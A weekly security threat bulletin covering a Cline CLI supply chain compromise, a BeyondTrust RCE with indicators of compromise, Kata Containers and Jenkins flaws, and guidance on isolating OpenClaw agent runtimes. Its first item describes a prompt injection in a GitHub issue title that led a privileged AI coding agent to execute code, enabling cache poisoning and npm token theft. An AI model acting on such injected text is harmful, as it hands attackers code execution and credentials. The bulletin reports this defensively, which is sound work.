Weekly Threat Bulletin – February 25th, 2026

Cline CLI 2.3.0 Supply Chain Attack Installed OpenClaw on Developer Systems

On February 17, 2026, the open-source, AI-powered coding assistant Cline CLI experienced a supply chain attack where version 2.3.0 was published to the NPM registry via a compromised npm publish token, stealthily installing the OpenClaw autonomous AI agent on developer systems. The malicious package, downloaded approximately 4,000 times during an eight-hour window, included a `postinstall` script to install `openclaw@latest`. Although OpenClaw itself was not deemed malicious, its unauthorized installation was unintended. Cline maintainers subsequently released version 2.4.0, deprecated 2.3.0, revoked the compromised token, and implemented OpenID Connect (OIDC) for npm publishing via GitHub Actions. Users are advised to update Cline CLI and remove any unintended OpenClaw installations. This compromise is attributed to "Clinejection," a vulnerability discovered by Adnan Khan, which exploits a misconfigured GitHub workflow where an AI agent (Claude) with excessive permissions could be tricked via prompt injection in a GitHub issue title to execute arbitrary code. This attack leveraged GitHub Actions cache poisoning to steal publication secrets, including the npm publish token, demonstrating a novel CI/CD attack surface involving AI agents and underscoring the necessity for robust governance of privileged AI actors.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Scan all developer workstations and CI/CD environments to identify any installations of the `cline` npm package, specifically version `2.3.0`.
• On any system where `cline@2.3.0` is found, immediately update the package to version `2.4.0` or later.
• Scan all developer workstations and CI/CD environments for installations of the `openclaw` npm package and uninstall it immediately if its presence is not explicitly authorized by the security team.

Compliance Best Practices

• For all internally developed software, migrate CI/CD publishing pipelines from using static, long-lived API tokens to short-lived, tokenless authentication mechanisms like OpenID Connect (OIDC).
• After migrating to a trusted publishing mechanism like OIDC, configure your package registries to explicitly disable authentication via traditional, static API tokens for your organization's software packages.
• Establish a formal security policy for the use of AI agents in CI/CD pipelines, and conduct regular audits to ensure these agents operate under the principle of least privilege.
• Review and re-architect CI/CD pipelines to enforce strict separation between workflows, ensuring that low-trust jobs (like issue triaging) cannot write to or influence caches consumed by high-trust jobs (like release publishing).
• Implement a Software Composition Analysis (SCA) tool to automatically scan third-party dependencies for risky characteristics, such as the presence of `postinstall` scripts, before they are approved for developer use.

VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)

A critical pre-authentication remote code execution vulnerability, CVE-2026-1731 (CVSS v4 9.9), has been identified in BeyondTrust Remote Support’s thin-scc-wrapper WebSocket handler, enabling OS command injection. Active exploitation has been observed, leading to the deployment of web shells and backdoors, including SparkRAT and VShell, account creation, lateral movement, and data exfiltration. This activity has impacted organizations across financial services, legal, high tech, higher education, wholesale/retail, and healthcare sectors in the U.S., France, Germany, Australia, and Canada. The vulnerability was added to CISA's Known Exploited Vulnerabilities Catalog on February 13, 2026, with over 10,600 exposed instances identified. Attackers exploit this public-facing application (MITRE T1190) by injecting a crafted remoteVersion payload during the WebSocket handshake. Indicators of Compromise include C2 IP addresses such as 23.162.40[.]187 and 138.197.14[.]95/ws, malicious domains like q0r2e5q2dzbykcox9qmkptm12s8mwb.oastify[.]com, file hashes for SparkRAT (9f431d5549a03aee92cfd2bdbbe90f1c91e965c99e90a0c9ad5a001f4e80c350) and VShell (98a7b0900a9072bb40af579ec372da7b27af12b15868394df51fefe290ab176b), and filenames such as aws.php and blue.drx. Recommended mitigations include applying vendor patches for specified BeyondTrust Remote Support and Privileged Remote Access versions, and limiting administrative interfaces through segmentation or zero-trust principles.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Immediately apply the vendor-supplied patches for all vulnerable BeyondTrust Remote Support and Privileged Remote Access instances to remediate CVE-2026-1731.
• Add the attacker IP addresses listed in the article's Indicators of Compromise, including 23.162.40.187 and 138.197.14.95, to the blocklist on network firewalls and web proxies.
• Block the malicious domains and URLs listed in the article's Indicators of Compromise within your DNS filtering service and web proxy.
• Add the file hashes for SparkRAT, VShell, and other malware artifacts provided in the article to your Endpoint Detection and Response (EDR) or antivirus solution's blocklist.
• Scan all public-facing web servers for the presence of files named 'aws.php', 'file_save.php', and 'blue.drx' to identify potential webshells.
• Audit authentication logs on BeyondTrust servers and connected systems for any unauthorized or suspicious user accounts created since the vulnerability was disclosed.
• Run the provided XQL detection queries in your SIEM or XDR to hunt for signs of post-exploitation activity on Windows and Linux systems related to this threat.

Compliance Best Practices

• Develop and implement a network segmentation strategy to isolate public-facing administrative tools like BeyondTrust from the internal corporate network.
• Initiate a project to implement Zero Trust principles for all administrative applications, ensuring every access request is strictly authenticated and authorized based on user and device context.
• Establish a continuous External Attack Surface Management (EASM) program to discover, inventory, and assess the security of all internet-facing assets.
• Configure network firewalls to enforce a default-deny policy for all outbound traffic from server segments, allowing only explicitly approved protocols and destinations required for business functions.
• Deploy a Web Application Firewall (WAF) in front of all public-facing applications to protect against command injection, cross-site scripting, and other web application attacks.

Kata Containers Cloud Hypervisor Guest VM Root RCE (CVE-2026-24834)

CVE-2026-24834 represents a critical privilege escalation vulnerability (CVSS 9.3) affecting Kata Containers versions prior to 3.27.0 when configured with Cloud Hypervisor as the Virtual Machine Monitor (VMM). This flaw allows a user already within a Kata container to achieve arbitrary code execution as root inside the guest micro VM. The vulnerability stems from a breakdown in isolation, enabling direct manipulation of the underlying guest micro VM's filesystem from within the container environment. Attackers can exploit this by injecting malicious code, modifying critical system files, or replacing binaries, thereby gaining full root access within the guest VM. While the host system and other VMs remain unaffected, a specific edge case for arm64 QEMU setups lacking NVDIMM read-only support could theoretically allow guest writes to the image file itself. Exploitation requires an attacker to have access to a running container instance utilizing Cloud Hypervisor. Remediation involves updating Kata Containers to version 3.27.0 or any subsequent release to address the core issue of guest filesystem manipulation.

Severity: High

Threat Details and IOCs

Mitigation Advice

• Inventory all systems to identify which are running Kata Containers with Cloud Hypervisor as the Virtual Machine Monitor (VMM).
• Update all identified vulnerable Kata Containers deployments (versions prior to 3.27.0) to version 3.27.0 or newer.
• Implement file integrity monitoring (FIM) rules to detect and alert on any modifications to critical system files (e.g., /bin/sh, /etc/ld.so.preload, systemd unit files) within Kata guest micro VMs.

Compliance Best Practices

• Review and harden security configurations for all container images and runtime environments to minimize the risk of initial access, enforcing the principle of least privilege for all containerized processes.
• Establish and maintain a comprehensive Software Bill of Materials (SBOM) for all containerized environments to enable rapid identification of vulnerable components and their specific configurations.
• Evaluate and deploy a container runtime security solution to provide advanced threat detection for anomalous activities, including container escape attempts and unauthorized filesystem access.
• Review and formalize the patch management policy to include aggressive SLAs for critical vulnerabilities affecting containerization and virtualization infrastructure.

Running OpenClaw Safely: Identity, Isolation, and Runtime Risk

Self-hosted agent runtimes, such as OpenClaw, introduce significant security risks by processing untrusted input and executing external code (skills) with persistent credentials, effectively shifting the security boundary and leading to potential credential exfiltration, agent state manipulation, and host compromise. To mitigate these, a minimum safe operating posture mandates deploying agents in isolated environments with dedicated, non-privileged credentials and non-sensitive data, alongside continuous monitoring for state changes, regular rebuilds, and robust backup strategies. Key attack vectors include indirect prompt injection via malicious content and "poisoned skills" from public registries, which can lead to unauthorized state access, privilege reuse, and persistent configuration changes. Effective defense requires comprehensive controls across identity, endpoint, supply chain, network, and data protection, supported by continuous monitoring and specific hunting queries to detect anomalous agent activities like unexpected skill installs, listening services, or shell spawning.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Using Microsoft Defender XDR, run a hunt query against `DeviceProcessEvents` to search for process command lines or filenames containing 'openclaw', 'moltbot', or 'clawdbot' on endpoints.
• Using Microsoft Defender XDR, run a hunt query against `CloudProcessEvents` to search for process command lines or filenames containing 'openclaw', 'moltbot', or 'clawdbot' in cloud workloads.
• Using Microsoft Defender XDR, run a hunt query against `DeviceProcessEvents` to find command lines containing 'clawhub install' to identify which skills are being installed and by whom.
• Using Microsoft Defender XDR, run a hunt query to detect processes like 'openclaw' spawning shells ('cmd.exe', 'powershell.exe', 'bash') or download tools ('curl', 'wget').
• Using Microsoft Defender XDR, run a hunt query against `DeviceNetworkEvents` to find any listening connections created by processes associated with 'openclaw', 'moltbot', or 'clawdbot'.
• If an unauthorized OpenClaw runtime is discovered on a device, use Microsoft Defender for Endpoint to isolate the device from the network while investigation occurs.

Compliance Best Practices

• Develop and enforce a security policy that requires any evaluation or use of self-hosted agent runtimes like OpenClaw to occur only on dedicated, isolated virtual machines or separate physical systems.
• Establish a process to issue dedicated, least-privilege service accounts with short-lived tokens for any approved AI agent runtime.
• In Microsoft Entra ID, configure and enforce admin consent workflows to prevent users from granting permissions to new or risky OAuth applications, especially those with high-privilege scopes.
• Deploy Microsoft Purview Endpoint Data Loss Prevention (DLP) policies to audit and block agent processes from accessing or exfiltrating data marked with sensitive labels.
• Use an application control solution, such as Microsoft Defender Application Control, to create policies that restrict agent runtimes from installing skills or extensions from unapproved publishers or repositories.
• For any approved agent host, configure host-based or network firewalls to enforce strict egress filtering, allowing outbound connections only to a pre-approved list of destinations.
• Develop a specific incident response playbook for compromised AI agents, detailing steps for isolation, credential rotation, state/memory forensics, and restoration from a known-good backup.

CI/CD at Risk: High-Severity Jenkins XSS Flaw Exposes Build Environments

Jenkins maintainers have issued critical security updates to address two vulnerabilities within its core architecture: a high-severity stored Cross-Site Scripting (XSS) flaw (CVE-2026-27099) and a medium-severity information disclosure issue (CVE-2026-27100). The XSS vulnerability, affecting Jenkins 2.550 and earlier, and LTS 2.541.1 and earlier, stems from improper sanitization of user-provided descriptions for offline nodes, allowing attackers with Agent/Configure or Agent/Disconnect permissions to inject malicious scripts that execute in the browsers of users viewing the node's status. The information disclosure flaw, present in the same versions, enables attackers with Item/Build and Item/Configure permissions to leverage the "Run Parameter" feature to determine the existence and display names of jobs and builds they are not authorized to access, providing a reconnaissance vector. To mitigate these risks, administrators should update to Jenkins weekly version 2.551 or LTS version 2.541.2.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Update all Jenkins weekly instances from vulnerable versions (up to 2.550) to the patched version 2.551 or later.
• Update all Jenkins Long-Term Support (LTS) instances from vulnerable versions (up to 2.541.1) to the patched version 2.541.2 or later.
• Audit and temporarily restrict 'Agent/Configure' and 'Agent/Disconnect' permissions in Jenkins to only essential, trusted administrative accounts.
• Conduct an immediate review of all accounts with 'Item/Build' and 'Item/Configure' permissions in Jenkins and remove any that are non-essential.

Compliance Best Practices

• Establish a formal, quarterly access control review process for all Jenkins user roles and permissions to ensure accounts only have the minimum access required for their function.
• Deploy and configure a Web Application Firewall (WAF) in front of the Jenkins instance to provide a protective layer against XSS and other common web application attacks.
• Implement a comprehensive patch management policy and automated process for all tools within the CI/CD pipeline to ensure security updates are identified and applied within a defined timeframe.
• Develop and mandate annual security training for all developers and DevOps engineers, with a specific module on securing the CI/CD pipeline and recognizing potential insider threat indicators.